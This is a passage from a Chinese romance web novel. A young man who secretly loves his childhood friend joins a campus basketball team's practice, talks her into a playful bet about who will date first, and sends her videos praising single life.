于是,在尚未完全建立行为思考能力的阶段,商恪景有样学样,模仿着哥哥对自己,虞昭音对虞千绾,爸爸妈妈对他们,虞千绾的爸爸妈妈对她们……他也这么去对虞千绾。 待到他真正成长到有意识的年岁,却早已将照顾虞千绾这事认作当然。 即便没有爱- 这还是虞千绾第一次来校内的篮球场,其中人声昂扬,鞋底和地面频频发出刺耳的摩擦音,交织在一块略显嘈杂,周遭各项设施使用年限显然都不少,破旧得很明显。 往日,虞千绾也陪商恪景出来打过篮球,但都是和家族圈里的那些朋友,那么一行人凑在一起就不可能挑选这种免费地点,去的都是一个比一个奢华的室内球场。 不过她大学三年多的时间里路过过许多次室外球场,所以对这里的环境也有所了解,但她没想到,这里别的东西老旧些就算了,怎么灯光这种必需品在晚上也不太亮,好像只在篮球框的周围才会明亮些,别的地方都灰蒙蒙的。 她不禁吐槽:“学校怎么这么抠?就不能多装几个灯吗?” 商恪景笑了声同她解释:“室内篮球场很亮,但不好抢,而且场地关得早,篮球队训练时间长人还多,尤其现在为了比赛训练还不方便和别人拼场地一起打,如果等到室内场关了以后再来室外场肯定没有完全的空场地了,索性一开始就找个没人的室外场占了打。” “其实,室外球场以前也挺亮的,但在球类运动周围的灯总是很危险,隔三差五就被乱飞的篮球误伤弄坏。有时候学校前脚安排人把灯修好,后脚灯就又阵亡了。久而久之,学校维修的速度越来越慢,就成了现在这样。” 听着商恪景这么说,虞千绾眯起眼又在四周打量了圈,好像确实,有好几个隐匿在黑暗里的灯只剩凄惨的灯杆了,估计都是学生们的杰作。 一直注意着球场两个入口的魏明轩发现商恪景和虞千绾的到来,赶忙叫停队员们的训练,带着他们去和商恪景打个招呼认识一下,同时表达对商恪景加入的热烈欢迎。 徐盼雁先一步小跑上去挽住虞千绾胳膊,把给她带的奶茶塞到她手里,“千绾~真谢谢你和商恪景,救我男朋友一条狗命,不然以他那个性子肯定要带伤上场了。” “不客气,这不是有谢礼了嘛。” 虞千绾眉梢轻扬着举了举手上的奶茶,徐盼雁回以一笑,转而同商恪景说:“我男朋友给你也买了奶茶,但我们不知道你喜欢哪种,所以买了很多品类的,你可以自己去挑个爱喝的。” 商恪景跟徐盼雁不熟,只客气微笑着道了声谢。 话题很快又回到两个女孩子身上,虞千绾拍了拍商恪景身前鼓囊囊的书包,“我带了很多零食,马上可以一边聊八卦一边吃。” 虞千绾不住在宿舍里,很多八卦都不知道。所以她很喜欢在学校没事的时候跟室友们聊天,这样她就可以听到很多很多劲爆的消息。 徐盼雁秒懂地朝她眨了眨眼,“放心!我这还有很多存货,肯定够你今天听爽。” 虞千绾已经开始好奇了,声音都不自觉激动,“我该不会零食还带少了吧?” “急什么呀,后面还有那么多场比赛呢,你如果都来现场给商恪景加油的话我还怕我的存货不够呢。” “我肯定都去呀,看来你这段时间还得再多搜刮一些新的了。” “哈哈哈哈,没问题!” 两个女生一起笑出声,脑袋和身形都微微后仰。 商恪景侧眸默默看着她和朋友的俏皮小动作,无声听着她们的对话,唇角也小幅度勾起。 魏明轩也带着队员们走了过来,他率先和商恪景虞千绾打了个招呼,然后再在商恪景和队员们之间互相介绍。 其间有好几张商恪景眼熟的脸,都是之前在球场遇到过的,但名字有些对不上,不过因为爱好相聚在一起的他们熟得很快,畅聊不停。 两个女生陷在她们自己的话题里也聊得很开心,并没有加入他们的意思,反倒是魏明轩怕冷落了她们,尤其是新来的虞千绾,主动将话题往她头上引了引,“这位是虞千绾,跟商恪景、雁雁都是一个专业的,跟雁雁还是一个宿舍的呢。” 虞千绾长身玉立,凝脂点漆,无论是身姿还是容貌都极为出众。 早在刚进入球场这个男人窝的时候就吸引了不少人的目光,篮球队里也有好几人眼睛一亮,当下有魏明轩做中间人先开了口,他们也略显殷勤地挨个介绍自己。 但碍于虞千绾是跟着商恪景来的,他们谁都没好意思去要虞千绾的微信。 显而易见的是商恪景的外貌条件,优越的身高与外形,篮球队里的每个人都自知比不过。还有第一眼看不到,但细看腕表和球鞋就能观察出的财力。 而且前段时间,虞千绾在自家官号上发的那条视频正火的时候,校内不少学生也刷到了,在学校表白墙上也引起了不小的讨论度。 极大的差距让篮球队的某些人虽然心里冒粉红泡泡,但面上都很收敛,也生不起什么奢望的念头。 何况,商恪景身上还背着个粉蓝相间的包,上头还挂着个可可爱爱的小挂饰,明显是虞千绾的。并且,在见到商恪景之前,他们就从徐盼雁和魏明轩那听说,魏明轩因为早前邀约商恪景被拒受伤后都没想过找商恪景来救场,还是徐盼雁联系的虞千绾,劳烦她询问的商恪景,商恪景这才同意加入。 得是多好的关系才能在联系当事人都不同意的情况下,通过第二个人联系却同意了。 无论是当下看到的,还是背后听到的内容都让他们认为商恪景和虞千绾的关系极为亲昵,即使现在不是男女朋友,很快也会是,就算未来不是,那也轮不到他们。 “好了好了。” 一心扑在篮球上的魏明轩见大家熟悉起来就不想把时间浪费在此,拍了拍手掌吸引回大家的注意力,“自我介绍结束,下面咱们就专心训练吧,为了后续的篮球赛加油。” 扭头,魏明轩拍了拍商恪景肩膀,“要是有什么问题或者不适应的,你一定要跟我说,我第一时间想办法给你解决。” 魏明轩毫不质疑商恪景的球技,但打篮球光靠一个人是不行的,尤其面对的还是各个学校选出的球技拔尖的学生组建的篮球队,团队就显得更为重要。商恪景临时过来救场,和球队里的大家还需些时间培养默契,可在培养的时间里免不得会有些或大或小的摩擦。 魏明轩生怕商恪景到时候融入不了集体,直接撂挑子不干,所以事先这么告诉商恪景,希望无论发生什么能先以沟通为主。 不过魏明轩的担心很多余,商恪景就不是会中途反悔的人,他既然答应了就会做到底。 商恪景压根也没听出这层意思,只当是魏明轩这个负责任的队长在照顾新来的他,他颔了颔首,“行,那我先去放个包脱个外套,马上就去跟你们一起打。” “好。” 徐盼雁带着虞千绾和商恪景去到了她刚刚坐着的位置,虞千绾坐在了徐盼雁左手边。 她穿的虽然是条长裤,但坐下后裤脚微微窜起了一小截,露出小段皙白纤细的小腿皮肤。 弯腰将包放在她身侧的商恪景瞧见,顺手就把放在包边的驱蚊液抽出递给虞千绾,“涂点,周围草多,蚊子也多。” 虞千绾接过,弓身将裤腿彻底上拉了一截,把两条小腿全都喷上驱蚊液。 虞千绾做这一系列动作的时候,商恪景就站在她面前脱着外套。 打篮球的时候热,所以他在里面就穿了件短袖。但此刻他还没开始打,身体还没热起来,乍然给外套脱掉后有些冷,他不自觉搓了搓裸露出的那截胳膊。 虞千绾看他两只胳膊都露出来,嘴上虽然问“你要不要来点?” 但拿着驱蚊液的手已经朝着他的胳膊伸去。 “我打球一直在动,应该不会有蚊子咬。” “喷点,有备无患。”虞千绾摁下喷头,伴随着细微的喷水声,驱蚊液就这么不管商恪景说什么的落到他小臂上。 商恪景顺从伸着两只胳膊,配合着她的动作翻转着胳膊,周身都因为她的关切而暗喜舒展着。 喷完胳膊以后,虞千绾垂落的手顺势在他身周也喷了圈,然后再给徐盼雁喷一圈。 历经这么一番,商恪景春心荡漾的厉害,就连把外套递给虞千绾这样的小动作都是带着笑的,语调也稍稍扬起,“帮我拿会儿呗,旁边不干净,放了就没法穿了。” 虞千绾知道他爱干净,但驱蚊液还没喷完,“等一下。” 她站起身,快速对着自己外衣外裤也大致喷了一圈,就跟喷香水似的,她还原地转了圈尽量让全身都沾染上。 重新坐回长椅上,虞千绾将驱蚊液的盖子盖好插回书包侧沿,这才从商恪景手里接过外套,顺手叠了叠放在自己腿上。 该去打球的商恪景却好像脚下有胶水,退一步都很难,嘴皮子倒是很利索,“你要是无聊的话随时喊我,我们就回去了。” “okok,我这有趣着呢。” 想听徐盼雁说八卦的虞千绾径直朝他摆了摆手,无情结束与他的话题,“你快去练球吧。” 刚还高兴着的商恪景突然就有些不大是滋味了。 早知道就不来球场了,不然这个时间点在家是属于他们俩的二人时间。不像现在,她自从见到徐盼雁后眼里都好像没他了。 虞千绾已经陷入精彩的八卦中了,和徐盼雁聊得那叫一个火热。 商恪景憋屈但还是没忍住又搭了一句话,“那我去了,你有事喊我。” “知道知道。” 虞千绾就短暂看了他一秒。 商恪景本以为他的悔意在这刻已经攀至顶峰,却没想到半小时后迎来了更大的峰值。 篮球队所用的这个室外球场里共有两个篮球区域,他们用的是左边这个,右边还有一行人在打球,整个球场四周设有围网。围网之外还有一片也是球场,但是给乒乓球、羽毛球这类运动留有的区域,面积相对小些,不过那边的光亮明显要比篮球场这边强上不少。 时不时,虞千绾觉得眼前视线太昏暗,就会半转过身看几眼身后那片亮堂的场地舒缓眼睛。 徐盼雁在篮球场待久了有经验,只要有篮球弹滚过来,她就一脚踩住,然后朝着球场的方向回踢过去,省得人再跑好一截来捡球。 无论篮球是属于篮球队还是另外那个区域中并不认识的一行人,总之只要球过来,徐盼雁就踢回去。 唯一不同的是,如若来捡球的人是魏明轩,他们之间的眼神会暧昧流转几个来回。 明明光线那么昏暗,明明一句对话都没有,虞千绾却无比强烈的感知到恋爱的酸臭味。 暧昧之余,还有些搞笑。 魏明轩受伤这些天显然已经完全适应了单拐,不仅使用起来如履平地毫无障碍,而且几乎把单拐使成了撑杆跳的那个杆,步子迈得比没受伤的时候还大。 看多了这样的互动,当有一个球也这么朝自己滚近且对象不是魏明轩时,虞千绾也抬脚踩住,然后往回踢。 但她没怎么玩过篮球足球这类运动,准头不大行,踢出的角度有些斜,不过也能让对面捡球的人少走一截。 虞千绾坐的位置比徐盼雁靠里些,所以大多球都被徐盼雁直接拦截踢了回去,但也因为靠里,她的视线是向外的。 聊着聊着,虞千绾突然发现有个男生奔着她们的方向直直走了过来,起初她没当回事,因为不认识那个人,但男生越走越近,最后直接站在了她们面前。 四目对视,男生却没说话,只是突然略显腼腆地挠了挠头。 虞千绾懵然碰了碰徐盼雁胳膊,“你朋友吗?” “啊?” “不是。” 徐盼雁疑惑的声和男生的否认一同响起。 虞千绾和徐盼雁对视一眼,两人都不明所以。 男生摁亮了手机,光线自下而上照亮他大半张脸,虞千绾这才发现男生的脸有些红。 男生再度开了口,话腔透着些忸怩: “那个……不好意思打扰你。” “我刚刚在那边打羽毛球,看你在这很久了,请问能不能……” 男生缓缓朝她伸来手机,屏幕上是他的微信二维码,“加个微信?” 刚还费解的两个女生表情顿时变得不同,徐盼雁暗戳戳杵了下虞千绾,努力憋着笑将身形微微后仰,努力降低自己的存在感不当两人之间的电灯泡。 虞千绾无奈嗔她眼。 不打球全程拄着拐在四周观察的魏明轩没错过这幕,远远地,他虽然听不到声音但光靠着动作足以猜测到,八卦的语调骤扬,“哎哟我靠,那是不是找虞千绾要微信的?” 听到这话的篮球队队员们也纷纷停下动作扭头看去,“还真是。” “果然美女就是美女,待在那么黑的地方都有人去要微信。” “诶,你们说她会给吗?” 商恪景是最快转过头看去的,其实在魏明轩话出的那一瞬间正在球场上挥汗如雨的商恪景并没听清魏明轩具体在说什么,但他听到了虞千绾的名字就下意识往她的方向看去。 当脑子里反应过来魏明轩具体说了什么的时候,他也看到了那一幕。 跟着,找虞千绾要微信的那个男生微微弯下了腰与坐着的虞千绾交涉,这么个动作挡住了虞千绾上半身,使得商恪景无法看清虞千绾的肢体语言判断她是否给了微信。 双眸倏地眯起,薄唇紧紧抿住,齿关死死咬合。 不知是气的还是没从剧烈运动中休缓过来又或是怎的,商恪景胸膛忽地大幅度起伏起来。 作者有话说:商恪景:[愤怒][愤怒][愤怒][愤怒][愤怒][愤怒][愤怒][愤怒]《 》 25-30 第26章 第 26 章 “只要你没有交往对象,…… “砰——” 一声很明显谁摔着的虽闷但重的动静瞬时吸引了虞千绾和徐盼雁的注意力, 她们的交谈声陡然停止,心头同时漏了一拍,当即抬头望向左边球场。 只见刚还有条不紊训练着的球队已经混乱起来,此刻正全部聚集在一窝搀扶查看摔倒人的情况。 说话的人太多, 嘈杂声线堆叠在一起, 加之有些距离, 虞千绾和徐盼雁压根听不清他们具体在说什么。有些人站着有些人蹲着, 站着的那批人形成了人墙, 并且最外圈站着的人中没有商恪景和魏明轩,使得她们并不能判断出摔倒的人究竟是不是自己在意的那个。 来不及多加思索, 她们赶忙起身往喧闹中心奔去。 就在徐盼雁抓住男朋友询问情况的时候, 虞千绾也在人堆里发现了商恪景,她拉住了他小臂将他往自己的方向拽了拽让他脱离出拥挤的那一窝人, 秀眉微蹙着切切问道:“你没事吧?” 问着,她的视线还朝商恪景的后背查看着打量。 商恪景摇头, “没事。” 闻言, 虞千绾这才敢探手隔着薄薄的衣料在商恪景宽健的后背稍用些力摸了摸。 见商恪景确实神色如常没有疼的样子,她才松了口气。 事件主人公是球队的中锋裴俊哲,他打球时一个不小心摔了个屁股墩儿,并不严重, 就摔下去的那一瞬间震了下, 但有魏明轩这个前车之鉴,大家都变得有些草木皆兵,生怕裴俊哲也受伤没法上场, 分外紧张查看他的情况。 裴俊哲这个当事人最清楚自己的情况,别说受伤了,他身上连个擦伤都没有, 他就是不知道怎么突然脚滑了一下,但这么大个人了还摔屁股墩儿,他自觉丢人有些臊得慌,面上又不好意思主动提,只想赶紧以一种揶揄的姿态快速带过。 “单身狗真惨啊,明明摔着的人是我,怎么被女生关照的却是你俩啊。” 商恪景和魏明轩就这么成了裴俊哲转移话题的对象。 其余人的视线也自然而然因为这话转向了商恪景和魏明轩。 魏明轩大大方方笑着揽住徐盼雁肩膀,“我女朋友担心我怎么了?你嫉妒自己也去找啊。” 徐盼雁有些羞赧,但手上动作很诚实地反搂住魏明轩的腰。 “哎呦喂。” 霎时,起哄声起得更厉害,一阵一阵来自单身狗的酸溜声此起彼伏,徐盼雁羞的用一只手掩着面。 并不是情侣的虞千绾和商恪景自没法像魏明轩徐盼雁这般坦荡荡认下揶揄,他们默契选择没有去多说什么,否则只会把火力引过来更多。 他们毕竟不是情侣,且今天刚来跟球队的大家不太熟,众人不会像调笑魏明轩和徐盼雁那样调笑他们,但也没少用那种意味明显的眼神看他们。还有几人挤眉弄眼地拍了拍商恪景肩膀。 虞千绾早已在裴俊哲cue到他们的时候就松开了拽着商恪景小臂的手,然后与商恪景无奈对视一眼后直接选择后退几步远离战场低头玩手机,完全不掺和他们的话题。 因为年岁相近,又是异性,从初中周围有人早恋开始,虞千绾就被许多人问过说她和商恪景是不是在偷偷谈恋爱,否认的频率多了以后她都麻了,权当没听见,反正都是些不太熟的人,见了上面没下面的,那些熟悉的人自然清楚她和商恪景的关系。 确有心思的商恪景做不到虞千绾如此的坦然,而且怕她不自在,还是没忍住同人解释了几句,但都无果,只收获到大家“懂得都懂”的眼神。 在隔三差五投来的暗戳戳眼神下,商恪景不大自然地别开眼,抬手,长指抓住衣领晃荡了几下灌入了些冷风,试图给升温的皮肤降温,一直暴露在空气里的耳朵却在一点点变红,幸而没有红得太过被虞千绾发现- 因为裴俊哲摔跤这么个插曲,作为队长的魏明轩主持大局,决定休息会儿再继续训练。 为了欢迎商恪景加入篮球队这个团队,魏明轩今天特意动用自己的小金库给球队的大家都买了杯奶茶,一早就带来放在长椅旁边了,正好趁着休息的时候发给大家喝。 不明商恪景喜好,所以魏明轩几乎各个品类都买了杯,让他先挑,商恪景也没客气,挑了个与虞千绾差不多的草莓味奶茶。 魏明轩热忱笑着说:“原来你喜欢这种口味,我记住了。” 说实话,在此之前,商恪景认为自己就算到篮球赛结束都不会对校篮球队有太多的集体荣誉感,毕竟自己只是临时来救个场而已,不似旁的队员那般长久认识建立的深厚友谊和对篮球赛共同拼搏的劲。 他只是抱着一颗答应了就绝对用心尽全力去打比赛的心,但最终结果是输是赢都不会怎么牵起他内心波澜。就算希望赢,也只是想在虞千绾面前孔雀开屏罢了,和篮球赛篮球队本身没太大的关联。 但魏明轩说出这话后,商恪景心态莫名产生了不小的变化。 魏明轩这人太热忱太认真,不是简单出于有求于人希望商恪景替他去打比赛才浮于表面跟商恪景示好,而是在细枝末节上都关照着刚来集体的商恪景,当做真朋友相处的那种。 商恪景看着魏明轩手里拿着的那杯柠檬茶,弯了弯唇,主动和他碰了碰杯,“我也记住了。” 两人相视而笑,关系无形中拉近许多- “哦好,我知道了,没用到就行,至于不能用的那些我过会儿就给删掉。” “嗯嗯,拜。” 虞千绾接到了通工作上的电话,她便拿着手机去到安静的角落与对方交涉。 电话刚挂断,身后就传来熟悉的男声:“怎么了?千绾总有什么工作要处理吗?” 商恪景不知道什么时候过来的,虞千绾完全没听到脚步声,所以被他冷不丁发出的声吓到一颤。 她捂着受惊的心扭头就朝着始作俑者瞪去眼,商恪景无奈笑了声,举了举双手,“我冤枉啊。” 商恪景嘴上这么说,但表情和动作看起来并没什么诚意,吊儿郎当的。 他正背靠在围网上,左腿单曲着,鞋底往后踩在围网底端,右手拿着奶茶,但显然没在喝,就随意把吸管咬在牙齿右侧,吸管头已经被他咬到瘪的不能再瘪,脑袋微微歪着瞧她。 虞千绾又剜了他眼,手掌在胸脯上下抚了两下,心落了定才回道:“也没什么,就是我拍摄的容博延那些视频素材的事。” 明星说白了就是个吃青春饭的行业,尤其看脸。 所以在许多合作活动中,双方签署合同时,艺人团队都会专门加上任何视频照片发出前都得双方共同审核这一点,生怕流出一点艺人的丑图。 虞千绾拍摄的那些视频也都依着合同要求让人发给了容博延工作室那边,刚刚,负责在她和嘉澍之间同步进展的刘助理给她打电话说了最新与容博延工作室协商的结果。 容博延外貌出众,很难出什么真正意义上的丑图,工作室要求也没别的艺人团队那么多,不会有一堆难为人的条件,但毕竟是艺人,对照片视频的要求肯定要比寻常人高些,所以还是挑了些认为没那么好看的视频。 刘助理看工作室选出的那些视频里没有虞千绾将要发出的第一条vlog中用到的片段,不会影响她的视频进度,便很快和容博延工作室那边达成一致,而后告知给虞千绾,主要是想她把容博延工作室那边否掉的视频直接删除,防止后续剪辑别的视频时误用引起不必要的矛盾。 虞千绾存货很多,无所谓其中的几条,也不急着现在弄,待到回家后闲下来再寻到对应视频删除。 见陪他训练不耽误她什么急事,商恪景点了点头,偏过奶茶吸了口换了话题,“无聊吗?” “不无聊啊。” 虞千绾登时眉飞色舞,“盼雁跟我说了超级多八卦!等回去了我再慢慢跟你讲。” “你们有聊到那个谁的八卦吗?” ——那个谁。 聊八卦时的常见嘉宾,虞千绾眼睛都睁大了些,圆溜溜盯着商恪景,身形也微倾着朝商恪景靠近,她的声音不自觉压低但很雀跃,“哪个谁?” “就她啊。” “谁啊。” 虞千绾被商恪景弄得有些急不可耐,尤其他还一副神神秘秘的模样,虞千绾感觉像个大瓜。 “就——” 虞千绾视线盯住商恪景嘴唇,一秒不落地观察他嘴型。 “就在那——” 商恪景隔空指了个位置,虞千绾当即踮脚顺着他视线看去。 瞧见商恪景在指哪的时候,虞千绾费解不已,眉头轻折,那不是她和徐盼雁坐的长椅吗? 难不成之前那里发生过什么大事? 耳边商恪景的声还在继续,“半个小时前,有人去找那个谁要了微信,你知道她最后给没给吗?” “…………” 反应过来被坑的虞千绾顿时白他一眼,无语至极地沉默抿着唇凝他好一会儿。 无语到极致,虞千绾反倒有些想笑。 她双手环胸侧身也和商恪景一样靠在了围网上,“你闭嘴啊,这个八卦特别没意思,可以说是我今天听到的八卦里最无趣的一个了。” “是吗?可我觉得这个最有意思。” 商恪景垂眸看着她。 两人挨得近,商恪景稍微动了动肩膀,就抵到了虞千绾的。何况他还故意又挨近她顶了顶。 感觉到他的不怀好意,不想搭理他的虞千绾直接伸手把他脸推过去,不给他看自己。 但没辙,只要她手一松,商恪景很快就又转回来。 她再推过去。 他又转回来。 以此几次,虞千绾要受不了吐槽他的时候商恪景忽问:“加他微信了吗?” 很奇怪的感觉,是八卦的话,但语调和眼神完全不是。 虞千绾一时间没琢磨透其中的复杂,老实回答:“当然没啊,我每次不都不给吗,你不知道?非得问我调侃几句?” 在偶像剧或小说里,虞千绾很吃一见钟情这套,但现实生活里,她非常不吃,甚至觉得对方肤浅,什么内在都不了解,就靠着先天的一副皮囊说喜欢甚至于爱,很虚无很假,无非都是见色起意罢了。所以这么多年来,虞千绾被不认识的人要微信时都是拒绝的。 商恪景也不是不知道她的脾性,但却还问,觉察不到其他情绪的虞千绾将他的明知故问定义为调侃。 “哦。” 商恪景故作轻飘飘地说:“我远远看他身形和气质跟那谁有点像,还以为你会玩点替身文学呢。” “谁?” 话出口的瞬间,虞千绾反应过来,更无语了,“你说常桦啊?那你离得确实很远了,他俩只有身高差不多。而且要真像他我更不可能加微信了,我现在极其讨厌这类男性,无差别讨厌。” “光讨厌那一类有什么用?世界上没有一模一样的树叶,也没有一模一样的人。你难不成还想在每个类型的人身上都摔一跤?要我说,你就跟我一样,做好单身一辈子的打算得了,找什么对象啊。” 商恪景声音轻了些,“你不是说,我这个朋友给到你的友情比爱情好多了吗?咱俩就保持这种状态搭伙过一辈子不挺好吗。” 因为喜欢她这事没法说出口,又不想听她没心没肺的在那聊谁喜欢他,追问他对其中哪一位好感更甚,抑或瞎猜他会不会突然某天某个契机遇到某个人爱上,商恪景索性给自己立了个单身一辈子的人设,反正现在网上很多不婚主义,单身族也很多。 真要是这么保持住,虞千绾也不会多提什么,毕竟个人选择不同,而且现在很多人都不把爱情看得很重要,她就有个这样的姐姐,所以虞千绾很理解对爱情不感兴趣的那类人。 偏偏商恪景又会在和虞千绾聊到感情这部分时因为心虚支支吾吾含含糊糊,甚至有时还会脸红,本意是怕她发现,落到虞千绾眼里就是他自身不坚定,所以压根不信他要单身一辈子这事。 这不。 虞千绾又开始说—— “你只是因为现在没有喜欢的人才这么说,你要是有喜欢的人,一秒就给这话抛到脑后了。商恪景,虽然你没有谈过恋爱,但我觉得你以后谈恋爱肯定是个恋爱脑。我要是信你的话,到最后的结果就是,你美美谈上恋爱享受和女朋友的二人世界,甚至还会怕女朋友吃醋和所有异性朋友保持距离,我就凄凄惨惨戚戚没人玩了。” 虞千绾语调越说越高,非常坚信,仿佛商恪景已然这么干了似的。 毕竟是发小,这么多年相处下来非常熟悉彼此的性格,虞千绾对商恪景的恋爱态度其实一点都没说错。 商恪景确实是个恋爱脑,也确实会在恋爱后不想女朋友吃醋自觉和所有异性保持距离。 但她唯独没想到的是,他心里的那个人是自己。 她自始至终代入的角色都是那个被抛弃的朋友。 喉结滚了又滚,商恪景到底没法回出什么强有力的答复。 因为他现在就爱着一个人,并且不能告诉面前人。 晦暗中,他忽而很轻但很肃正喊她全名,“虞千绾,敢不敢和我打个赌?” “什么?” “我们俩这么多年的感情,我绝对不可能是先因为爱情远离的那个。” “只要你没有交往对象,我就不可能有。” “但你总不信我,所以你敢不敢和我赌——在我后面谈恋爱。” 商恪景嗓子很干很涩,话音落定后却还是习惯性佯装地哂笑声,又为上面的话添了句听起来正常的补充,“反正你不是总说我只是因为没遇到那个人才这么说的,那以你的想法,你跟我赌不是很快就能赢了嘛,到时候你随便提条件,我愿赌服输。” “如果我赢,咱俩就真当了一辈子的好朋友,等到七老八十,你就不会再质疑我的话了吧?” 不知是天黑光线不好商恪景看不清她的缘故还是怎的,虞千绾感觉他的身形随着说话压得越来越低,一点一点靠近她,说话全程视线也牢牢攫取着她的,分秒不放。 分明很无厘头也没什么确定赌注的赌局,虞千绾望着这双眼,心里却莫名升起些异样感,她模糊感觉商恪景好像很重视这个赌约,但又寻不到具体的出处,更没什么事实佐证,最终只能成为个转瞬即逝的微妙感觉,自身都很快忘却。 几乎没让商恪景等太久,虞千绾就应下了赌约,“行啊。” 商恪景眼睑不自控地抖簌了几下。 面上那抹强装的勉强的笑兀地真实从心起来,他朝着虞千绾伸出小拇指,带着些几不可察的颤,“拉钩。” 虞千绾失笑,嘴上吐槽“商恪景你幼不幼稚啊,都多大了还玩拉钩这套”,手却配合着伸出小拇指勾住他的。 两根骨节分明的纤长尾指勾在一起,拇指指腹同时向上按住,盖章。 霎时间,商恪景就跟换了个人似的,肉眼可见笑得高兴,藏不住丁点。 虞千绾完全不明白他在笑什么,问他他也不说,就在那笑,惹得虞千绾也莫名其妙跟着笑。 笑盈之余,她发自内心客观分析道:“虽然我一直对恋爱这事抱有憧憬,但我真的觉得我以后很难恋爱了。” “你看,咱们大学都快要毕业了,认识的朋友基本都固定,不会有太大变化了。而且我要是真把新账号做起来,以后也不用去嘉澍坐班,肯定大多时间都宅在家里,更是没了什么认识新朋友的途径。但你想啊,要是连异性都认识不到几个,遇到喜欢人的概率更是低得可怜,更别提后续还得接触发展,每一个阶段都在筛人。” 光是这么想着,虞千绾就摇了摇头,颇感遗憾,“感觉得母单一辈子了。” 她倒不是对爱情这事有极高的盼头和必谈不可的重视度,只是没体验过双向感情的她提到这茬心里头总痒痒的,渴望着经历一次恋爱的滋味,无论结果如何都行,她更重视过程,想亲自经历一遭。 奈何感情这事实在太难,喜欢她的她不喜欢,她喜欢的……迄今二十多年的人生里也就出现过一个常桦,最后的结果还这么糟糕,甚至闹到最后连恋爱关系都没正式确立过。 不过虞千绾并没有也不会因为一次在感情上的挫败就放弃爱情,哪怕她嘴上时不时嚷着说封心锁爱,但其实心里依旧对爱情保持着积极的态度,只是结合实际后认为以后很难遇上那么个人。 她想要的感情是纯粹的,热忱的,绝对偏爱的,这种感情在校园时代比较多,步入社会后一切都太快太赶,遇到这类感情的可能性更是小到可怜。 虽然如此,虞千绾依旧抱着绝不将就绝不放低恋爱要求的姿态面对爱情,迎接爱情。 “我一直都这么认为啊,而且我身边就你这一个异性朋友,我不明白你自己都这么想,为什么却总是不信我说打算单身一辈子。” 虞千绾一时间被商恪景说得哑口无言,嘴唇翕动又停好几次,最后只丢出无形的两个字,“感觉。” 她就是感觉他不像她认识的那些单身主义者。 他对爱情是有希冀的,甚至于好像已经有想要交往的对象了,但她确实没有发现那个人的存在。 所以,虞千绾认为商恪景和自己对待爱情的态度是一样的。 他们都期盼,都想去经历爱情,但不会因此放低要求勉强自身为了经历而去经历。 只不过她在爱情上的态度可能要比商恪景更积极些,虽然她觉得现实中的确很难有那么个人出现,但依旧是保持着乐观态度等待的,商恪景可能并不相信那样一个低概率事件,所以直接说单身到老。 虞千绾这么想。 “行,感觉。” 商恪景哼笑声,不置可否,“那就坚持赌约,我不谈你不许谈,到时候等你变成老太太了,看你还会不会这么感觉。” 虞千绾不假思索回嘴,“我牙掉了我都这么感觉!” 可爱的要命。 商恪景持续笑着,越想越好笑,身形都微微发颤,却不自觉好奇打量着她的面庞,“也不知道你老了会是什么样。” “肯定比你漂亮就是了。” “屁。不过虞千绾,人老了骨质疏松会变矮,你到时候是不是又得比我矮上一大截了?”说着,商恪景就欠欠地抬手,把胳膊肘压在虞千绾发顶,垂眸宠溺笑看她。 虞千绾一秒闪身打掉他的手。 身高这个话题,她比不过他,于是迅速提对自己有利的点攻击商恪景,“我老了可是有小橙子给我养老的,以你和知珩哥这情况,你怕是到了八十岁还不得安生要去伺候八十六岁的知珩哥,晚年凄惨呐。” 两个人又开始就这种瞎扯的话题无限发散思维怼来怼去,最后还是魏明轩那边喊商恪景训练才结束他们之间已然飘到死后转世的话题- 第一次去篮球场训练顺利结束。 虞千绾跟徐盼雁聊了太久,不仅嗓子因为说了太多话有些哑,脸也有些笑僵。 分明没做什么运动,却在结束后觉得自己累得不轻,甚至有些进入贤者时间不想再讲话。 商恪景打球出了一身汗,真真切切累得不轻。 俩人一个身体累,一个精神疲惫。 回家的路上罕见的安静。 商恪景手上一直捏着那条白粉色的毛巾,时不时在自己的脸上和发际边擦擦。 表情却有些郁闷。 虞千绾理解的送毛巾送水和他理解的完全不一样…… 商恪景打从一开始就没奢望过虞千绾会像女朋友对待男朋友那样亲昵为他擦去汗,但起码,她是不是得送给他。 结果她倒好,从始至终就坐在长椅上和徐盼雁聊天,还得他需要时亲自过去找她拿。 她呢,就将包口一撑,全自助式让商恪景自己拿毛巾和水。 毛巾不递,瓶盖不拧,就像个物件的保管员。 偏偏……他还不能多说什么。 否则会将心思暴露得太明显。 毕竟只是作为朋友来论,虞千绾已经做得很好了,是他想要的和身份不对等才会心里冒酸泡。 什么都不知道的虞千绾在回到家门口开密码锁时跟商恪景说:“毛巾就给你了,你自己洗洗留着用吧,后面打比赛我再买新的。” 他用过的毛巾,她就算拿回去也用不了,只能丢掉,还不如给他还能用用。 所以对于这话,商恪景没太大反应,淡淡应下后问她困不困。 要是她不打算睡的话,他洗完澡再去她家找她。 他们这段时间都是这么度过的,除了睡觉时间都待在一块。 虽然虞千绾已经明显从那段失败的感情里走出来了,但商恪景就是装傻不提,他就猜准了虞千绾总不能撵他。如果撵的话,他又能借题发挥了。 虞千绾对他来自家待着倒没什么意见,但当下她实在没精力只想上床瘫着,故以疯狂朝他摆手,表示自己已经累到连八卦都没兴致跟他讲了。 于是俩人各回各家。 从学校走回小区的路程也不短,虞千绾进到家里连洗澡的动力都没有,换了拖鞋后就倒在沙发上窝了好一会儿才终于慢吞吞动弹着懒散的身子去洗澡。 洗漱完躺上床的那一瞬,虞千绾发出声舒适的喟叹,伸了个大大的懒腰然后在床上翻滚两圈把自己裹在温暖的被子里。 这种时候玩手机最自在了。 虞千绾感觉自己的疲倦劲都散了不少,打算刷会儿视频放松一下身心,刚打开短视频APP就看到有未读的消息通知。 她点进去一瞧,是商恪景转发来的视频,接连三条。 就在十分钟前。 光看着视频的封面标题,虞千绾就笑出了声。 ——【不婚不育的好处】 ——【“儒雅”丈夫杀妻案】 ——【朋友是自己选择的家人】 她这段时间单方面失恋的样子很吓人吗?难不成给他留下了什么阴影? 他这么不想她谈恋爱。 作者有话说:[墨镜][墨镜]这个诡计多端的商恪景,指指点点[菜狗][菜狗][菜狗] 第27章 第 27 章 “我的大小姐” 虞千绾的新账号vlog, 商恪景的篮球赛。 他们的生活就这么按部就班进行着,时而穿插几节课程,再忙忙论文,与朋友、家人聚聚餐。 时间很快来到篮球赛这天。 这次京市高校篮球赛共有32所高校参加, 比赛对手和场地都是靠着抽签决定。 带着球队打比赛的老师姓曹, 对外流程这些都是他负责的。曹老师手气很好, 不仅抽到了自家场地, 还为篮球队抽到了个很安心的对手——京市科技大学。 